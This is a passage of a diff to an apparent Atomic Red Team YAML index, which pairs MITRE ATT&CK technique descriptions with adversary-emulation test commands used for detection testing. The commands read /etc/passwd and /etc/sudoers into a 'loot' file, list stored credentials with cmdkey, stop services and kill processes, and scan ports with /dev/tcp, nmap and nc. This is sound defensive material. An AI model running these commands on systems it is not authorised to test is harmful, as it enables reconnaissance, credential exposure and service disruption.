tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Network protocol analysis + - Network device logs + x_mitre_permissions_required: + - User + - Administrator + name: Resource Hijacking + description: "Adversaries may leverage the resources of co-opted systems in + order to solve resource intensive problems which may impact system and/or + hosted service availability. \n\nOne common purpose for Resource Hijacking + is to validate transactions of cryptocurrency networks and earn virtual currency. + Adversaries may consume enough system resources to negatively impact and/or + cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus + Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - + Unused AWS Regions) systems are common targets because of the high potential + for available resources, but user endpoint systems may also be compromised + and used for Resource Hijacking and cryptocurrency mining." + id: attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783 x_mitre_platforms: + - Linux - macOS - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830 - name: Application Window Discovery - created: '2017-05-31T21:30:24.512Z' - x_mitre_version: '1.0' + - AWS + - GCP + - Azure + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + x_mitre_impact_type: + - Availability type: attack-pattern - description: |- - Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger. - - In Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script. - x_mitre_permissions_required: - - User - identifier: T1010 + x_mitre_detection: Consider monitoring process resource usage to determine anomalous + activity associated with malicious hijacking of computer resources such as + CPU, memory, and graphics processing resources. Monitor for suspicious use + of network resources associated with cryptocurrency mining software. Monitor + for common cryptomining software process names and files on local systems + that may indicate compromise and resource usage. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2019-04-17T14:50:05.682Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: impact + external_references: + - external_id: T1496 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1496 + - source_name: Kaspersky Lazarus Under The Hood Blog 2017 + description: GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April + 17, 2019. + url: https://securelist.com/lazarus-under-the-hood/77908/ + - source_name: CloudSploit - Unused AWS Regions + description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. + Retrieved October 8, 2019. + url: https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc + modified: '2019-10-10T18:40:46.985Z' + identifier: T1496 atomic_tests: - - name: List Process Main Windows - C# .NET - description: 'Compiles and executes C# code to list main window titles associated - with each process. - -' + - name: macOS/Linux - Simulate CPU Load with Yes + description: | + This test simulates a high CPU load as you might observe during cryptojacking attacks. + End the test by using CTRL/CMD+C to break. supported_platforms: - - windows - input_arguments: - input_source_code: - description: Path to source of C# code - type: path - default: C:\AtomicRedTeam\atomics\T1010\src\T1010.cs - output_file_name: - description: Name of output binary - type: string - default: T1010.exe + - macos + - centos + - ubuntu + - linux executor: - name: command_prompt - elevation_required: false - command: | - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} #{input_source_code} - #{output_file_name} - T1217: + name: bash + command: 'yes > /dev/null + +' + T1489: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1217 - source_name: mitre-attack - external_id: T1217 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Mike Kemmerer + x_mitre_permissions_required: + - Administrator + - SYSTEM + - User x_mitre_data_sources: - - API monitoring - - File monitoring - Process command-line parameters - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Windows Registry + - API monitoring + name: Service Stop + description: "Adversaries may stop or disable services on a system to render + those services unavailable to legitimate users. Stopping critical services + can inhibit or stop response to an incident or aid in the adversary's overall + objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer + 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by + disabling individual services of high importance to an organization, such + as MSExchangeIS, which will make Exchange content inaccessible + (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable + many or all services to render systems unusable.(Citation: Talos Olympic Destroyer + 2018) Services may not allow for modification of their data stores while running. + Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) + or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) + on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks + WannaCry Analysis)" + id: attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b x_mitre_platforms: - - Linux - Windows - - macOS - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7 - name: Browser Bookmark Discovery - created: '2018-04-18T17:59:24.739Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' + x_mitre_impact_type: + - Availability type: attack-pattern - description: |- - Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. + x_mitre_detection: |- + Monitor processes and command-line arguments to see if critical processes are terminated or stop running. - Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser. + Monitor Registry edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. - Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases. - x_mitre_permissions_required: - - User - identifier: T1217 + Alterations to the service binary path or the service startup type changed to disabled may be suspicious. + + Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2019-03-29T19:00:55.901Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: impact + external_references: + - source_name: mitre-attack + external_id: T1489 + url: https://attack.mitre.org/techniques/T1489 + - description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer + Takes Aim At Winter Olympics. Retrieved March 14, 2019. + source_name: Talos Olympic Destroyer 2018 + url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html + - description: 'Novetta Threat Research Group. (2016, February 24). Operation + Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February + 25, 2016.' + source_name: Novetta Blockbuster + url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf + - description: Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware + Analysis. Retrieved March 26, 2019. + source_name: SecureWorks WannaCry Analysis + url: https://www.secureworks.com/research/wcry-ransomware-analysis + modified: '2019-07-18T19:18:32.674Z' + identifier: T1489 atomic_tests: - - name: List Mozilla Firefox Bookmark Database Files on Linux - description: 'Searches for Mozilla Firefox''s places.sqlite file (on Linux distributions) - that contains bookmarks and lists any found instances to a text file. + - name: Windows - Stop service using Service Controller + description: 'Stops a specified service using the sc.exe command. ' supported_platforms: - - linux + - windows + input_arguments: + service_name: + description: Name of a service to stop + type: String + default: spooler executor: - name: sh - command: 'find / -path "*.mozilla/firefox/*/places.sqlite" -exec echo {} >> - /tmp/firefox-bookmarks.txt \; + name: command_prompt + elevation_required: true + command: 'sc.exe stop #{service_name} ' - - name: List Mozilla Firefox Bookmark Database Files on macOS - description: 'Searches for Mozilla Firefox''s places.sqlite file (on macOS) - that contains bookmarks and lists any found instances to a text file. + - name: Windows - Stop service using net.exe + description: 'Stops a specified service using the net.exe command. ' supported_platforms: - - macos + - windows + input_arguments: + service_name: + description: Name of a service to stop + type: String + default: spooler executor: - name: sh - command: 'find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} - >> /tmp/firefox-bookmarks.txt \; - -' - - name: List Google Chrome Bookmark JSON Files on macOS - description: 'Searches for Google Chrome''s Bookmark file (on macOS) that contains - bookmarks in JSON format and lists any found instances to a text file. + name: command_prompt + elevation_required: true + command: 'net.exe stop #{service_name} ' + - name: Windows - Stop service by killing process + description: "Stops a specified service killng the service's process. \nThis + technique was used by WannaCry.\n" supported_platforms: - - macos + - windows + input_arguments: + process_name: + description: Name of a process to kill + type: String + default: sqlwriter.exe executor: - name: sh - command: 'find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> /tmp/chrome-bookmarks.txt - \; - + name: command_prompt + elevation_required: false + command: 'taskkill.exe /f /im #{process_name} + ' - T1482: +discovery: + T1087: technique: - external_references: - - external_id: T1482 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1482 - - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10) - source_name: Microsoft Trusts - description: Microsoft. (2009, October 7). Trust Technologies. Retrieved February - 14, 2019. - - url: https://adsecurity.org/?p=1588 - source_name: AdSecurity Forging Trust Tickets - description: Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos - Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved - February 14, 2019. - - url: 'http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ ' - source_name: Harmj0y Domain Trusts - description: Schroeder, W. (2017, October 30). A Guide to Attacking Domain - Trusts. Retrieved February 14, 2019. - - url: https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/ - source_name: Microsoft Operation Wilysupply - description: Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation - WilySupply software supply chain cyberattack. Retrieved February 14, 2019. - - url: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships - source_name: Microsoft GetAllTrustRelationships - description: Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved - February 14, 2019. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Dave Westgard - - Elia Florio, Microsoft - - Mnemonic - - RedHuntLabs (@redhuntlabs) + x_mitre_permissions_required: + - User x_mitre_data_sources: - - PowerShell logs + - Azure activity logs + - Office 365 account logs - API monitoring - - Process command-line parameters - Process monitoring - modified: '2019-04-29T14:06:06.900Z' - x_mitre_detection: | - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as nltest /domain_trusts. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the DSEnumerateDomainTrusts() Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1086). The .NET method GetAllTrustRelationships() can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process command-line parameters + name: Account Discovery + description: "Adversaries may attempt to get a listing of local system or domain + accounts. \n\n### Windows\n\nExample commands that can acquire this information + are net user, net group , and net + localgroup using the [Net](https://attack.mitre.org/software/S0039) + utility or through use of [dsquery](https://attack.mitre.org/software/S0105). + If adversaries attempt to identify the primary user, currently logged in user, + or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) + may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the groups + and id commands. In mac specifically, dscl . list /Groups + and dscacheutil -q group can also be used to enumerate groups + and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through + the use of the /etc/passwd file which is world readable. In mac, + this same file is only used in single-user mode in addition to the /etc/master.passwd + file.\n\nAlso, groups can be enumerated through the groups and + id commands.\n\n### Office 365 and Azure AD\n\nWith authenticated + access there are several tools that can be used to find accounts. The Get-MsolRoleMember + PowerShell cmdlet can be used to obtain account names given a role or permissions + group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)\n\nAzure + CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated + access to a domain. The command az ad user list will list all + users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red + Teaming MS AD Azure, 2018) \n\nThe Get-GlobalAddressList PowerShell + cmdlet can be used to obtain email addresses and accounts from a domain using + an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: + Black Hills Attacking Exchange MailSniper, 2016)" + id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08 x_mitre_platforms: + - Linux + - macOS - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0 - name: Domain Trust Discovery - created: '2019-02-14T16:15:05.974Z' - x_mitre_version: '1.0' + - Office 365 + - Azure AD + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' type: attack-pattern - description: 'Adversaries may attempt to gather information on domain trust - relationships that may be used to identify [Lateral Movement](https://attack.mitre.org/tactics/TA0008) - opportunities in Windows multi-domain/forest environments. Domain trusts provide - a mechanism for a domain to allow access to resources based on the authentication - procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow - the users of the trusted domain to access resources in the trusting domain. - The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1178), - [Pass the Ticket](https://attack.mitre.org/techniques/T1097), and [Kerberoasting](https://attack.mitre.org/techniques/T1208).(Citation: - AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain - trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, - .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility - [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries - to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)' - x_mitre_permissions_required: - - User - identifier: T1482 + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Microsoft Threat Intelligence Center (MSTIC) + - Travis Smith, Tripwire + created: '2017-05-31T21:31:06.988Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1087 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1087 + - source_name: capec + external_id: CAPEC-575 + url: https://capec.mitre.org/data/definitions/575.html + - description: Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019. + source_name: Microsoft msolrolemember + url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0 + - description: Stringer, M.. (2018, November 21). RainDance. Retrieved October + 6, 2019. + source_name: GitHub Raindance + url: https://github.com/True-Demon/raindance + - description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. + source_name: Microsoft AZ CLI + url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest + - description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active + Directory Leaks via Azure. Retrieved October 6, 2019. + source_name: Black Hills Red Teaming MS AD Azure, 2018 + url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ + - description: Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, + 2019. + source_name: Microsoft getglobaladdresslist + url: https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist + - description: Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. + Retrieved October 6, 2019. + source_name: Black Hills Attacking Exchange MailSniper, 2016 + url: https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/ + modified: '2019-10-08T21:05:16.654Z' + identifier: T1087 atomic_tests: - - name: Windows - Discover domain trusts with dsquery - description: | - Uses the dsquery command to discover domain trusts. - Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role. + - name: Enumerate all accounts + description: 'Enumerate all accounts by copying /etc/passwd to another file + +' supported_platforms: - - windows + - linux + - macos + input_arguments: + output_file: + description: Path where captured results will be placed + type: Path + default: "~/loot.txt" executor: - name: command_prompt - command: 'dsquery * -filter "(objectClass=trustedDomain)" -attr * + name: sh + command: 'cat /etc/passwd > #{output_file} ' - - name: Windows - Discover domain trusts with nltest - description: | - Uses the nltest command to discover domain trusts. - Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role. - This technique has been used by the Trickbot malware family. + - name: View sudoers access + description: "(requires root)\n" supported_platforms: - - windows + - linux + - macos + input_arguments: + output_file: + description: Path where captured results will be placed + type: Path + default: "~/loot.txt" executor: - name: command_prompt - command: 'nltest /domain_trusts + name: sh + command: 'cat /etc/sudoers > #{output_file} ' - T1083: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1083 - source_name: mitre-attack - external_id: T1083 - - url: http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html - source_name: Windows Commands JPCERT - description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. - Retrieved February 2, 2016. - x_mitre_data_sources: - - File monitoring - - Process monitoring - - Process command-line parameters - x_mitre_system_requirements: - - Some folders may require Administrator, SYSTEM or specific user depending - on permission levels and access controls - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18 - name: File and Directory Discovery - created: '2017-05-31T21:31:04.710Z' - x_mitre_version: '1.0' - type: attack-pattern - description: "Adversaries may enumerate files and directories or may search - in specific locations of a host or network share for certain information within - a file system. \n\n### Windows\n\nExample utilities used to obtain this information - are dir and tree. (Citation: Windows Commands JPCERT) - Custom tools may also be used to gather file and directory information and - interact with the Windows API.\n\n### Mac and Linux\n\nIn Mac and Linux, this - kind of discovery is accomplished with the ls, find, - and locate commands." - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - identifier: T1083 - atomic_tests: - - name: File and Directory Discovery - description: 'Find or discover files on the file system + - name: View accounts with UID 0 + description: 'View accounts wtih UID 0 ' supported_platforms: - - windows + - linux + - macos + input_arguments: + output_file: + description: Path where captured results will be placed + type: Path + default: "~/loot.txt" executor: - name: command_prompt - elevation_required: false - command: | - dir /s c:\ >> %temp%\download - dir /s "c:\Documents and Settings" >> %temp%\download - dir /s "c:\Program Files\" >> %temp%\download - dir /s d:\ >> %temp%\download - dir "%systemdrive%\Users\*.*" >> %temp%\download - dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> %temp%\download - dir "%userprofile%\Desktop\*.*" >> %temp%\download - tree /F >> %temp%\download - - name: File and Directory Discovery - description: 'Find or discover files on the file system + name: sh + command: 'grep ''x:0:'' /etc/passwd > #{output_file} - name: List opened files + by user + +' + - name: List opened files by user + description: 'List opened files by user ' supported_platforms: - - windows + - linux + - macos executor: - name: powershell - elevation_required: false - command: | - ls -recurse - get-childitem -recurse - gci -recurse - - name: Nix File and Diectory Discovery - description: | - Find or discover files on the file system - - References: + name: sh + command: 'username=$(echo $HOME | awk -F''/'' ''{print $3}'') && lsof -u $username - http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/ +' + - name: Show if a user account has ever logger in remotely + description: 'Show if a user account has ever logger in remotely - https://perishablepress.com/list-files-folders-recursively-terminal/ +' supported_platforms: + - linux - macos + input_arguments: + output_file: + description: Path where captured results will be placed + type: Path + default: "~/loot.txt" + executor: + name: sh + command: 'lastlog > #{output_file} + +' + - name: Enumerate users and groups + description: 'Utilize groups and id to enumerate users and groups + +' + supported_platforms: - linux + - macos executor: name: sh command: | - ls -a > allcontents.txt - ls -la /Library/Preferences/ > detailedprefsinfo.txt - file */* *>> ../files.txt - find . -type f - ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' - locate * - which sh - - name: Nix File and Directory Discovery - description: 'Find or discover files on the file system + groups + id + - name: Enumerate users and groups + description: 'Utilize local utilities to enumerate users and groups ' supported_platforms: - macos - - linux executor: name: sh command: | - cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > /tmp/loot.txt - cat /etc/mtab > /tmp/loot.txt - find . -type f -iname *.pdf > /tmp/loot.txt - find . -type f -name ".*" - T1046: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1046 - source_name: mitre-attack - external_id: T1046 - x_mitre_data_sources: - - Netflow/Enclave netflow - - Network protocol analysis - - Packet capture - - Process command-line parameters - - Process use of network - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88 - name: Network Service Scanning - created: '2017-05-31T21:30:43.915Z' - x_mitre_version: '1.0' - type: attack-pattern - description: Adversaries may attempt to get a listing of services running on - remote hosts, including those that may be vulnerable to remote software exploitation. - Methods to acquire this information include port scans and vulnerability scans - using tools that are brought onto a system. - x_mitre_permissions_required: - - Administrator - - SYSTEM - - User - identifier: T1046 - atomic_tests: - - name: Port Scan - description: 'Scan ports to check for listening ports + dscl . list /Groups + dscl . list /Users + dscl . list /Users | grep -v '_' + dscacheutil -q group + dscacheutil -q user + - name: Enumerate all accounts + description: 'Enumerate all accounts ' supported_platforms: - - linux - - macos + - windows executor: - name: sh + name: command_prompt elevation_required: false command: | - for port in {1..65535}; - do - echo >/dev/tcp/192.168.1.1/$port && echo "port $port is open" || echo "port $port is closed" : ; - done - - name: Port Scan Nmap - description: 'Scan ports to check for listening ports with Nmap. - -' - supported_platforms: - - linux - - macos - input_arguments: - network_range: - description: Network Range to Scan. - type: string - default: 192.168.1.0/24 - port: - description: Ports to scan. - type: string - default: 80 - host: - description: Host to scan. - type: string - default: 192.168.1.1 - executor: - name: sh - command: | - nmap -sS #{network_range} -p #{port} - telnet #{host} #{port} - nc -nv #{host} #{port} - T1135: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1135 - source_name: mitre-attack - external_id: T1135 - - url: https://en.wikipedia.org/wiki/Shared_resource - source_name: Wikipedia Shared Resource - description: Wikipedia. (2017, April 15). Shared resource. Retrieved June - 30, 2017. - - url: https://technet.microsoft.com/library/cc770880.aspx - source_name: TechNet Shared Folder - description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, - 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - Process monitoring - - Process command-line parameters - - Network protocol analysis - - Process use of network - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f - name: Network Share Discovery - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern - description: "Networks often contain shared network drives and folders that - enable users to access file directories on various systems across a network. - \n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB - protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared - Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query - a remote system for available shared drives using the net view \\\\remotesystem - command. It can also be used to query shared drives on the local system using - net share.\n\nAdversaries may look for folders and drives shared - on remote systems as a means of identifying sources of information to gather - as a precursor for Collection and to identify potential systems of interest - for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be - viewed with the df -aH command." - x_mitre_permissions_required: - - User - identifier: T1135 - atomic_tests: - - name: Network Share Discovery - description: 'Network Share Discovery + net user + net user /domain + dir c:\Users\ + cmdkey.exe /list + net localgroup "Users" + net localgroup + - name: Enumerate all accounts via PowerShell + description: 'Enumerate all accounts via PowerShell ' supported_platforms: - - macos - - linux - input_arguments: - computer_name: - description: Computer name to find a mount on. - type: string - default: computer1 + - windows executor: - name: sh + name: powershell + elevation_required: false command: | - df -aH - smbutil view -g //#{computer_name} - showmount #{computer_name} - - name: Network Share Discovery command prompt - description: 'Network Share Discovery utilizing the command prompt + net user + net user /domain + get-localuser + get-localgroupmembers -group Users + cmdkey.exe /list + ls C:/Users + get-childitem C:\Users\ + dir C:\Users\ + get-aduser -filter * + get-localgroup + net localgroup + - name: Enumerate logged on users + description: 'Enumerate logged on users ' supported_platforms: - windows - input_arguments: - computer_name: - description: Computer name to find a mount on. - type: string - default: computer1 executor: name: command_prompt elevation_required: false - command: 'net view \\#{computer_name} + command: 'query user ' - - name: Network Share Discovery PowerShell - description: 'Network Share Discovery utilizing PowerShell + - name: Enumerate logged on users via PowerShell + description: 'Enumerate logged on users via PowerShell ' supported_platforms: - windows - input_arguments: - computer_name: - description: Computer name to find a mount on. - type: string - default: computer1 executor: name: powershell elevation_required: false - command: | - net view \\#{computer_name} - get-smbshare -Name #{computer_name} - T1040: + command: 'query user + +' + T1010: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1040 - source_name: mitre-attack - external_id: T1040 - - url: https://capec.mitre.org/data/definitions/158.html - source_name: capec - external_id: CAPEC-158 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Network interface access and packet capture driver x_mitre_data_sources: - - Network device logs - - Host network interface - - Netflow/Enclave netflow + - API monitoring - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Detecting the events leading up to sniffing network traffic - may be the best method of detection. From the host level, an adversary would - likely need to perform a man-in-the-middle attack against other devices on - a wired network in order to capture traffic that was not to or from the current - compromised system. This change in the flow of information is detectable at - the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. - Detecting compromised network devices is a bit more challenging. Auditing - administrator logins, configuration changes, and device images is required - to detect malicious changes. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process command-line parameters + x_mitre_permissions_required: + - User + name: Application Window Discovery + description: |- + Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger. + + In Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script. + id: attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830 x_mitre_platforms: - - Linux - macOS - Windows - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529 - 